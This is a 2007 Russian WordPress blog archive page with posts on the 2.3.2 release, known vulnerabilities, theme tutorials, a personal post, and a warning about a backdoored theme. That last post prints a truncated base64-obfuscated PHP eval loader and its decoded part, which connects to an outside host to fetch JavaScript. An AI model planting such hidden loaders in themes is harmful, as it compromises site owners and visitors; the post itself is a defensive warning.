Новогодний подарок блоггерам - WordPress 2.3.2

31 декабря 2007

Как всегда я плетусь в самом конце WP-движения, это я о скорости реакции на анонсы релизов)
Уже успели выложить и две разные версии русского вордпресса 2.3.2, который только-только сошёл с конвейера (от Максима и от mywordpress.ru), но, тем не менее, я всё же рискну быть не оригинальным и отписать ещё раз изменения со своими комментариями.
И так, данные взяты из официального анонса.

Улучшена производительность, при обработке постов, перед выводом пользователю.
Надеюсь, я правильно понял, то, что написано в этом тикете.
При выводе поста, да и любой другой страницы, производится множественный вызов функции get_post, через которую работают такие функции как the_title, get_permalink и т.д. Причём, хоть данные полученные от get_posts и кэшируются, но фильтрация/отбор данных происходит после получения уже ВСЕХ данных, а не ДО, что естественно сказывается на производительности. В 2.3.2 это пофиксили.

Улучшена работа функции is_admin(). Теперь нет возможности получить доступ к “Черновикам” администраторов обычному пользователю.
О “дыре” с доступом к черновикам я уже писал, вот теперь это уже и не дыра вовсе.

Ошибки базы данных теперь показываются только при включенном WP_DEBUG.
Ещё одна перестраховка от “шибко-хитрых-хацкеров”, чтобы те не могли узнать названия таблиц вашей установки WordPress, при попытках sql-инъекций.

Во время установки WordPress, при нехватке прав у пользователя БД, будет выдаваться ошибка.
А, следовательно, и не будет создан “кривой” config.

Появился шаблон для отображения ошибок при подключении к БД.
Теперь любой пользователь может внести изменения в файл wp-content/db-error.php, который будет показан при невозможности подключиться к БД (например, если превышено количество одновременных подключений).

Добавлена дополнительная проверка при обработке текста, который конвертируется в ссылку.
Тут имеет место быть событие, когда вы вставляете текст с http://, а он автоматически конвертируется в аналогичную ссылку. Повышена производительность за счёт того, что теперь функция преобразования различает обычные ссылки, фтп и почтовые ящики. Стоит отметить, что, судя по всему подобные ссылки (за исключением ящиков) автоматически будут отображаться с rel=”nofollow”, во всяком случае, тут всё указывает на это.

Внесены изменения в работу рассылки почты по POP3, чтобы избежать возможных XSS-атак.
Ещё один баг закрыт.

Запрос пароля к записи будет выдаваться только тем пользователям, у кого есть права на изменение этой конкретной записи. Всё это относится только к сторонним-клиентским программам, работающим через XML-RPC.

Ещё одно изменение в XML-RPC, которое связано с отображением данных о пользователе, при вызове wp.getAuthors.
Данные теперь выводятся в более ограниченном формате, а так же добавлена проверка, что пользователь имеет минимальные права (редактирование постов), чтобы ограничить распространение информации, такой как имя пользователя, его логин и прочее.

И ещё целый ворох проверок в методах XML-RPC и App, для улучшения безопасности.

И совсем маленькое добавления при проверке путей файлов, на win-серверах.


Вот и всё. Вроде бы и не много, но и не мало. Ставить, я думаю, стоит, но… только после того, как голова и руки будут действовать активно и правильно, апосля празднования НГ, а то можно дел наворотить)

И ещё, если тов. Лекактус не против, то я бы попросил его немного подправить текст на mywordpress.ru, а то что-то слишком много орфографических ошибок и местами не понятный текст. Если нужна помощь, то могу предложить свои услуги, но опять-таки - после праздничков.

Многоуважаемые хакеры, вы имеете последнюю возможность взломать этот блог и при помощи перечисленных дыр, потому что я не тороплюсь обновляться)

1 звезда2 звезд3 звезд4 звезд5 звезд (Еще не оценили)
Загрузка ... Загрузка ...

А мужики то не знают: защита в Wordpress 2.4, дыры и апдейт в 2.3 и подсветка синтаксиса

21 декабря 2007

Пока пишутся большие посты и другие программы, сделаю небольшой обзор того, о чём следует знать, если не каждому, то большинству.

Улучшенная система безопасности в WordPress 2.4

Хоть сам движок ещё готов процентов на 30, но уже заявлены приятные нововведения, такие как использование безопасных куки и новый алгоритм шифрования хранимых паролей.
Про протокол безопасных куки (secure cookie protocol) можно прочитать в этом .pdf (116Kb на англ.), если кратко, то новые куки выглядят так:
имя пользователя|время действия|HMAC(имя пользователя|время действия|ключ)
Причём ключ = HMAC(имя пользователя|время действия|секретный ключ), во как!

В новом протоколе реализованы такие фичи, как управление истечением времени на стороне сервера, массовая перепроверка всех кукисов, а так же предложена повышенная конфиденциальность.

Пароли же теперь буду хэшироваться при помощи phpass, который к обычному md5-хэшированию добавляет ещё возможность подсолить (“salt” - представляет собой некий набор символов; обычно это символы обоих регистров, цифры и спецсимволы, которые накладываются или склеиваются с самим паролем или с хэш-суммой пароля) и даже растянуть короткий пароль. Всё вместе это значительно увеличивает сложность взлома путём перебора хэшей.

Так же не стоит забывать, что phpass так же будет применяться в Drupal и phpBB, а значит, существует вероятность, что можно будет использовать одни и те же регистрационные данные в пределах сайта для каждого пользователя, причём без дополнительных извращений.

В принципе, код, отвечающий за кукисы и шифрование phpass’ом, уже можно скачать и опробовать, вот только не делайте этого на активном блоге, т.к. таблица пользователей будет безнадёжно испорчена, а уж если вы ещё и бэкап не сделали…


Некоторые активные дыры в WordPress 2.3.x

1. Существует возможности при выполнении определенных действий, получить доступ к Черновикам (Drafts), созданным другими пользователями, в том числе и администратором. Поэтому старайтесь не хранить в черновиках конфиденциальную информацию. Пока что дыра есть в 2.3.1 и скорее всего во всех предыдущих версиях. Ждём-с багфикса с апдейтом.

2. Дыра в плагине Wp-ContactForm, при помощи которой злоумышленник может выполнить инъекцию HTML кода и получить пересылаемые данные. Баг фикса нет, но сам плагин старенький, поэтому советую вам просто поменять его на Cforms II, тем более вы можете скачать русскую версию у Соники.

3. Уязвимость обнаружили ребята из Seo Egghead. Заключается она в возможности внедрять ссылки в старые посты, причём, обычно выглядит это так, как будто и должно быть, только вот PR естественно снизится. Подвержены такому “хаку” все версии с 2.1 по 2.3.1 включительно.
Яйцеголовые ребята советуют произвести поиск по блогу по таким словам, как: mp3, download, adshelper, softicana, casino, viagra и тому подобному (не мне вам рассказывать, чем обычно спамят)))


Обнови пермалинки правильно

У некоторых пользователей после перехода на 2.3.1 появился скверный глюк, а точнее ошибка:
“Warning: Invalid argument supplied for foreach() in /home/wallis3/public_html/wordpress/wp-includes/classes.php on line 92″
Лечится это довольно просто, но и не очевидно одновременно: нужно сперва сбросить пермалинки на те, что установлены по умолчанию (Настройки > Постоянные ссылки > По умолчанию > “Обновить шаблоны ссылок”), после чего можно вернуть свои старые шаблоны и обновить повторно - глюк должен исчезнуть.


Разметка кода на блогхостинге WordPress.com

Возможно, полезность данной заметки сомнительна, потому как у нас большой популярностью WordPress.com (не путать с бесплатной блог-платформой WordPress) не пользуется, куда чаще используют BlogSpot/Blogger или ЖЖшку, но была - не была.
Если вы ведете блог на WordPress.com, то для красивой разметки исходных кодов, у вас есть строенная реализация. Работает это так
[sourcecode language='язык']
строчка код 1

строчка код n
[/sourcecode]

, где язык - это на выбор: cpp, csharp, css, delphi, java, jscript, php, python, ruby, sql, vb, xml.
За основу взят SyntaxHighlighter, нашего соотечественника (как я понял) Алекса Горбачева.


Помоги найти трэкбэк

Оказывается, среди тэгов разметки WordPress есть такое чудо, как trackback_rdf, который внедряет на страницу не видимый для пользователя код, применяемый некоторыми программами и поисковыми ботами, для определения адреса трэкбэка. Сам тэг должен размещаться внутри Loop’а и быть скрыт в html-комментарий, чтобы не попадаться на глаза читателю. Выглядит это примерно вот таким образом:


Ну вот на сегодня и всё. До скорого. И берегите себя и свой блог.

1 звезда2 звезд3 звезд4 звезд5 звезд (Еще не оценили)
Загрузка ... Загрузка ...

5 удивительных fuckтов о Тарасе

14 декабря 2007

Дошла и до меня это порочная запись, через “инфицированных” Артёма и Максима, теперь вот поминаю добрым словом Презренного и пишу о себе.

1. А я и не Тарас вовсе.
Ага, по паспорту я Тарашевский Андрей Игоревич. “Прозвище” Тарас появилось ещё в школе, классе в 6, тогда оно было более длинным - Тарас Бульба, которым меня дразнили девчонки, чем доводили до бешенства. Понятное дело, что данная модификация повелась от нестандартной фамилии - Тарашевский, но понемногу я привык и уже совершенно адекватно реагировал на обращение - Тарас.
Вообще с моей фамилией довольно много приколов связано, например, почти каждый новый преподаватель старается, не специально, извратить её прочтение, то сделают меня Парашевским, то Таршевским, то Тормашевским, но меня это даже веселит.
Или вот с военкоматом было забавно - на меня там завели аж 3 разных дела, под разными фамилиями. Выяснил я это когда мне пришло сразу 2 повестки, третье дело уже случайно нашлось в архиве, когда пришёл выяснять, в чём там дело.
В общем можете обращаться ко мне как вам удобнее - Тарас или Андрей, оба варианты имеют место быть.

2. Я ненавижу флэшмобы, письма щастья и прочее масс-действо.
Просто одно время меня это дико начало выбешивать, когда из контакт листа аськи за день присылали до 30 сообщений “разошли или будь проклят”, так же всегда отрицательно относился к заполнению анкет и “ответь на вопросы и размести у себя в дневнике”. Обычно в icq я кидаю ссылку на одно из “анти-писем-щастья”, сделанных моими друзьями (намбер ван и намбер ту), а так же напоминаю о такой чудо вещи, как Ignore List в аське.
Собственно говоря, пишу сейчас эти “5 фактов”, только из уважения к людям, сославшимся на меня.

3. Существует два основных жизненных принципа для меня и огромная лень.
Первый из них - “Никогда и ни на что не обижаться”. Это я для себя решил ещё в школьные времена. Просто подумал, что несколько глупо тратить время на обиды, “дуться” на кого-то, нервы расшатывать, если просто можно быть выше этого и, сведя всё к анализу проблемы, сделать соответствующие выводы. Теперь, если мне человек, грубо говоря, “насрал”, то я в голове ставлю “галочку” и не парюсь. В следующий раз мало что от меня данный индивид добьётся, если вдруг потребуется помощь или совет.
Второй - “Всё, что не устраивает - посылается на хуй”. Да, именно вот в таком изложении. Хоть я и стараюсь не материться, как в блоге, так и в реальной жизни, но без этого крепкого словца всё предложение теряет смысл. Думаю, тут особых пояснений не требуется - если меня начинает что-то излишне напрягать, то я просто перестаю этим заниматься, то же самое относится к людям, мне проще перестать общаться с человеком, чем втолковывать по сто раз кому-то, в чём он не прав.
Ну а лень - это вообще отдельная песня - я могу составить офигенно грандиозный план, потратить на это время, а потом, вместо того, чтобы быстренько сесть и сделать, буду сёрфить сеть или играть в какую-нибудь сетевую игру. Зашёл тут в свой аккаунт World of Warcraft и округлил глаза, от того, что у меня игрового времени (т.е. сколько суммарно я провёл онлайн в игре) получилось 57+ дней. Это же 2 месяца 24/7, сколько всего я бы мог сделать за это время, но, увы и ах…

4. Я не курю сигареты.
Несмотря на то, что 99% людей, с которыми я общаюсь, курят постоянно, меня подобное время препровождение совершенно не привлекает. Я вообще скептически отношусь к любого рода зависимостям, когда что-то становится сильнее человека и его воли. Сам не раз наблюдал “сильных людей, бросающих с завтрашнего дня”, которые по прошествии недели находили себе отговорку, в виде стресса или ещё чего-нибудь, и благостно возвращались в лоно курильщиков.
Мне отвратителен как запах, так и вкус сигаретного дыма, а вот к кальянам я отношусь совершенно положительно и, бывает, покуриваю его дома.

5. Как же Я выгляжу?
Один раз увидеть лучше, чем сто раз услышать, не так ли? Ну, вот можете полюбоваться на меня в разные годы моей не долгой жизни. Смею заметить, я люблю экспериментировать над собой.
*картинки кликабельны*

кибер тарас кибер тарас
Когда-то я в таком виде посещал готические хелловины.
Лицо работы товарища B., который между тем является отличным дизайнером и профессиональным верстальщиком.


Это тоже из готческих времен, на фото можно лицезреть мою косичку и девушку. Сейчас косичка в полтора раза длиннее, а девушки у меня уже нет :-)

В этом году в турции я шокировал всех различными причёсками, которые делала мне сестра. На фото справа мы с ней в номере.


Ну и на последок - фотография с празднования моего 22 летия в этом году на Медвежьих озёрах.

Спасибо за внимание, если кому-то было вообще интересно. Эстафету передавать не буду, ибо см. п. 2 данного текста.

1 звезда2 звезд3 звезд4 звезд5 звезд (Еще не оценили)
Загрузка ... Загрузка ...

Адаптируем тему под WordPress 2.3.x

12 декабря 2007

Обещал, значится, вот и пишу. Если кто-то ожидает “откровений”, то думаю несколько напрасно, но для общего развития людям, интересующимся CMS WordPress и желающим идти в ногу со временем, ознакомиться стоит.

Многих людей останавливает от перехода на WordPress 2.3 сам процесс апгрейда до новой версии, и я вполне их понимаю, потому что сталкивался с “кривыми” апдейтами, когда приходилось править “напильником” кодировки или наблюдать округлившиеся глаза после “преобразования категорий в тэги” и фразу “Эээ… а как это сделать обратно?”.

Поэтому, если уж обновляетесь, то делайте это правильно, а, если есть возможность, попросите людей знающих. Они это сделают и быстро, и качественно, а то ведь можно и так конвертнуть базу, что “и” и “ш” пропадут и обратно их уже не получить.

Ну а теперь к теме поста. Первым делом определимся с тем, что у нас реально нового появилось в WordPress 2.3 относительно тем: 1. Тэги, 1а. Облако тэгов, 2. Несколько Deprecated тэгов и их новые аналоги.
Пройдёмся по порядку.

1.Тэги.

Да-да, теперь у нас есть встроенные тэги (ура-ура!), а так же несколько тэгов-разметки для работы с ними:
the_tags - выводит все тэги, назначенные посту, используется внутри Loop.
Синтакис простой: the_tags(’текст ДО’, ‘разделитель МЕЖДУ тэгами’, ‘текст ПОСЛЕ’).
Примеры из кодекса:
the_tags(’Метки:’, ‘, ‘, ‘<br />’); - выведет текст “Метки:”, список тэгов через запятую, а потом перейдёт на новую строку.
Или вот код, выводящий тэги в виде ненумерованного списка the_tags(’<ul><li>’,'</li><li>’,'</li></ul>’);

get_the_tags - функция возвращает (заметьте, не выводит, а только лишь возвращает) список всех тэгов, назначенных посту, в виде массива объектов. А вы уже с ним можете делать что хотите, т.е. формировать какие угодно конструкции и вводить проверки, работая с каждым тэгом в отдельности. Работает только в Loop.
Вот пример того, как выводить тэги в виде картинок, с соответствии с названием (стоит понимать, что картинку нужно положить в папку ДО применения тэга):

term_id);
    echo '<a href="' . $link . '" rel="tag">'
       .'<img src="http://example.com/images/'
       .$tag->name .'.jpg" alt="'
       . $tag->name . '" /></a>';
  }
}?>

Всё просто, во второй строке мы сохраняем в переменную posttags все тэги данного поста, в третьей проверяем попался ли нам хоть 1 тэг (вот, кстати, и ещё одно применение get_the_tags() - проверка на существование тэгов, пример будет чуть позже), в четвёртой строке начинаем выдёргивать по очереди все тэги и с 5 по 9 строку выводим картинку в ссылке.
В принципе строки с 6 по 9 можно объединить в одну, это я чтобы в блоге за края не уезжало.

А вот этот коротенький код будет выводить тэги только тогда, когда они есть. Желательно использовать в том случае, если вы обновляли свой блог с более ранней (<2.3) версии и не успели "пометить" все посты, в таком случае пользователь не будет удивлён строчкой "Метки:" и пустым пространством за ним.

 

Ну и чтобы закончить с get_the_tags(), вот список параметров, которые можно получить через $tag->параметр:

  • term_id - id тэга
  • name - имя
  • slug - сокращение, сгенеренное из имени. Если вы используете RusToLat, то генериться он будет в транслите.
  • count - общее количество раз, которые тэг встречался в блоге.

single_tag_title - функция выводит/передаёт в переменную, заголовок страницы тэга, т.е. той, которая будет доступна при просмотре всех постов с определенной меткой (/tag/wordpress). Я кончено могу и ошибаться, но это 100% аналог тэга single_cat_title, причём, если вы применяете последний, то он адекватно будет выводить и заголовки для тэгов, а не только категорий.

1а. Облако Тэгов

До меня уже Максим подробно описал работу с облаком тэгов, поэтому просто процитирую его:

Для того, чтобы вывести облако меток, например в сайдбаре нужно использовать функцию wp_tag_cloud(). Функция принимает следующие аргументы (указаны значения по-умолчанию):

  • ’smallest’ => 8 (минимальный размер шрифта)
  • ‘largest’ => 22 (максимальный размер шрифта)
  • ‘unit’ => ‘pt’ (единицы измерения)
  • ‘number’ => 45 (количество меток в облаке)
  • ‘format’ => ‘flat’ (разделитель: flat - пробел, list - список, array - массив)
  • ‘orderby’ => ‘name’ (сортировка: name - по имени, count - количеству записей)
  • ‘order’ => ‘ASC’ (порядок сортировки: ASC - прямой, DESC - обратный)
  • ‘exclude’ => ” (исключить метки, указываются через запятую)
  • ‘include’ => ” (включить метки, указываются через запятую)

Полезность для работы с тэгами.

Если кто ещё не знает о существовании такого мега полезного плагина как Simple Tags, то могу только… посоветовать его немедленно скачать и установить! Так же не забываем благодарить тов. Лекактуса за качественную локализацию и своевременные обновления.

Что может плагин (взято у Лекактуса):
Simple Tags - это ПРЕВОСХОДНЫЙ инструмент для управления вашими метками WP 2.3.
Он был написан со следующей философией: лучше производительность, больше безопасность и преподнесение новых функций!

  • угадывает метки при вводе и подставляет из существующих
  • автоматические подходящие метки для записи
  • управление метками (переименование,удаление объединение, поиск и добавление меток, редактирование коротких ссылок меток)
  • список непомеченных страниц/записей
  • массовое редактирование меток
  • возможность добавлять метки в страницы (не только записи) и включение их в результаты поиска по меткам
  • связанные записи по общим меткам
  • возможность добавлять связанные записи в RSS
  • динамические облака меток с раскрашиванием в виджетах
  • метки внутри заголовка блога
  • поддержка встраиваемых меток ([tags]tag1, tag2[/tags]) для совместимости со старыми записями, где они были заданы таким способом
  • Автоматическая вставка меток а записи (опционально, без редактирования шаблона). А также на выбор включение их только на блоге/в rss или в оба места сразу

О том, как всё это настраивать, написано ОЧЕНЬ подробно на странице плагина.
А ещё я советую вам пролистать блог Лекактуса на наличие кучи полезных плагинов и подписаться на рсс, чтобы следить за их обновлениями.

Deprecated тэги/функции и их новые аналоги

Небольшое отступление перед тем, как перейти непосредственно к самим тэгам. Если вы не знаете что, такое Deprecated (нежелательные) элементы в программировании, то в кратком виде статья с wikipedia:

Часть программы или метод, обозначенный как deprecated, являются сомнительными, и использование их в дальнейшем необоснованно. Эта часть работает в текущей версии ПО, однако может вызывать сообщение об ошибке в качестве предупреждения. Это служит для предупреждения пользователя о том, что данная часть кода может быть удалена в следующих резлизах программы.

Основной причиной объявления части кода (функций, методов, классов) как deprecated является желание улучшать код, и, при этом, со временем избавляться от устаревших подходов. Оставление старого кода наряду с новым приводило бы к неоправданному разрастанию программного продукта, что усложняло бы его поддержку, изучение и использование. В то же время, просто удалять устаревшие части кода нежелательно, так как это нарушит обратную совместимость для пользователей данного ПО.

Короче, никто не гарантирует, что те тэги/функции, которые были помечены deprecated после релиза WordPress 2.3, вообще будут работать, а уж тем более каждая новая версия (а 2.4 уже вот-вот будет доступен) увеличивает шанс, что тэги будут выдавать ошибку или работать не верно. Поэтому просто-напросто, нужно просмотреть свою тему, найти все вхождения “нежелательных” тэгов и поменять их на новые.

Тэги работы с ссылками из блогролла

get_links_list - вывод всех пунктов блогролла в виде не нумерованного списка.
wp_get_links - выводит ссылки из определенной категории блогролла, в виде списка.
get_links - настраиваемое отображение ссылок из блогролла.

На смену этим тэгам-разметки пришла (причём ещё в 2.1 версии, но запретили их только сейчас) функция wp_list_bookmarks(), которая делает всё тоже самое, только лучше.

Если использовать wp_list_bookmarks() без параметров, то на выходе получим список ссылок из блогролла, разбитые по категориям, отсортированные по имени, с картинкой, если она указана; так же в ссылке будет описание в title, взятое из соответствующего поля; рейтинг указан не будет.
Понятное дело, что параметров уйма:

  • categorize - разбивать ли ссылки по принадлежности категории? 1 - Да, 0 - Нет.
  • category - ID категорий через запятую, которые нужно отображать.
  • category_name - тоже самое, что и category, но указываются имена категорий.
  • category_orderby - по какому полю сортировать категории. name - имя (по-умолчанию) или id.
  • category_order - порядок сортировки по предыдущему параметру. ASС и DESC соответственно.
  • title_li - указываем текст, который будет выведен перед всеми ссылками, если параметр categorize=0. По-умолчанию выводится “Bookmarks”, но если указать пустое значение (title_li=), то ничего выведено не будет, в том числе и <ul>, и </ul>.
  • title_before и title_after - два параметра определяющие обрамление описания (decription) категорий, при categorize=1. По-умолчанию обрамляются заголовком второго уровня (<h2></h2>). Если меняете один из этих параметров, то не забудьте заменить и второй.
  • show_private - параметр определяющий, можно ли отображать “приватные” ссылки. Если установлено значение 1, то игнорируются админские настройки и выводят даже личные ссылки.
  • include и exclude - позволяют точно указывать, какие ссылки (по ID) показывать/не показывать.
  • orderby - это уже сортировка ссылок, а не категорий, тут вариантов больше: id, url, name, target (”Назначение” в русской версии), description (описание), owner (владелец ссылки, т.е. тот кто её добавил), rating, updated (дата последних изменений), rel (”Отношение к ссылке”), notes (”Заметки”), rss, length (сортировка в зависимости от длинны ), rand (в случайном порядке).
  • order - порядок сортировки по предыдущему параметру. ASС и DESC соответственно.
  • limit - количество ссылок, которые будут показаны. Параметр -1 отобразит все ссылки, удовлетворяющие остальным параметрам, он же и стоит по-умолчанию.
  • before, after, category_before, category_after - обрамление каждой ссылки и каждой категории (не описания, как в случае с title_before и title_after). По умолчанию в обоих случаях стоят <li>, и </li>, причём в <li> категории дописывается соответствующий ей id и class.
  • between - параметр, определяющий разделитель, между ссылкой/изображением и соответствующим описанием, по умолчанию стоит перевод на новую строку (’\n’).
  • show_images - показывать ли изображение, если оно указано в соответствующем поле. 1 - Да, 0 - Нет.
  • show_description - показывать описание к ссылке или нет.
  • show_rating - отображать ли рейтинг.
  • show_updated - указывать ли дату и время последнего обновления.
  • hide_invisible - выводить ли ссылки помеченные как “невидимые”? В данном случае 1 - Нет, 0 - Да.
  • echo - выводить ли сразу в шаблон или просто вернуть значение в переменную (чтобы ещё мучать при помощи PHP). 1 - Да, 0 - Нет.

Фуф, осилили? Ну, тогда для самых стойких небольшой пример - код выводит ссылки из рубрики ID=2, используя при этом картинки, обрамленные в и без описания. В добавок всё отсортированно по URL ссылки.


  &after=&show_images=1&show_description=0&orderby=url');
?>

Ну что же, вроде основные моменты в адаптации темы под WordPress 2.3.x я описал, остальное в ваших руках.

Если что-то осталось непонятным или после прочтения возникли вопросы, то не стесняемся и спрашиваем в комментариях. Хотелось бы узнать, полезно ли будет описать остальные Deprecated тэги и их аналоги, для тех, кто переходит с 2.0.x на 2.1 и выше?

Желаю успешного, а главное безглючного перехода на WordPress 2.3.

1 звезда2 звезд3 звезд4 звезд5 звезд (Еще не оценили)
Загрузка ... Загрузка ...

Осторожно! Злая тема… для WordPress!

30 ноября 2007

Вдогонку к предыдущему посту о темах, взгляд с другой стороны, а если быть точным, то пост для тех самых пользователей, которые все эти темы качают.

Вообще, в последнее время очень сильно повысилось количество постов о взломе разных блогов на WordPress’е, а всё потому, что люди забывают обновляться до последней версии. Но даже наличие последней стабильной версии с офф.сайта не даёт гарантий, что вас не “поимеют”.

Недавно на глаза попался пост о интересном способе, который применяют хакеры для получения информации о сайте.

Для тех, кто не очень дружит с ангельским языком, расскажу вкратце о чём там речь:
Некий дизайнер Derek Punsalan сделал темку (а точнее даже несколько) для WordPress и решил их подарить всему миру. В итоге она разлетелась по куче разных тематических архивов, одним из которых был WpSphere. И что вы думаете?

После скачивания и установки с этого сайта, некоторые пользователи заметили, что в тексте страниц находится примерно такой код

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\...

Если вы не разбирается в PHP, поясню - такой метод применяется, чтобы скрыть реальный исполняемый код, потому что после декодирования (функция, base64_decode), текст будет выглядеть несколько более подозрительно

if($R37C014DAE5FE4FE5C77B6735ABC30916 =
@fsockopen("www.wpssr.com", 80,
$R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3))
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";...

В результате выполнения этого скрипта, с одного из серверов (я указал лишь часть исходника) подгружался java-script. По словам одного из блоггеров, Пола Кэрола, который проводил исследования по поводу “вредоносности” данного кода, выходит, что ничего плохого не происходило, а Wp-Sphere просто мониторили количество установок тем.

Только вот, несмотря на это, что-то уж через чур большая дыра в безопасности получается, ведь внедряя ява-скрипт на страницу, злоумышленники могут без проблем крутить рекламу, а что более скверно - получить информацию, сохраненную в браузере.

Весь этот пост написан для того, чтобы вы задумались перед установкой очередной темы, скаченой из не проверенных источников. Или, во всяком случае, проверили, что там у неё внутри, а если не можете сами (по причине, что любой код для вас - набор бессмысленных знаков), то попросите того, кто понимает, можно и меня.

И напоследок, к проверенным источникам с лёгкостью могу отнести сайт themes.wordpress.net, ибо официальный, а так же советую ознакомиться с “Кратким руководством по безопасности WordPress” от Максима, скоро постараюсь опубликовать не краткое, а большое и разностороннее.

Мира вам и безопасного интернета и WordPress.

1 звезда2 звезд3 звезд4 звезд5 звезд (Еще не оценили)
Загрузка ... Загрузка ...
8 страница из 17« К первой...«678910»...К последней »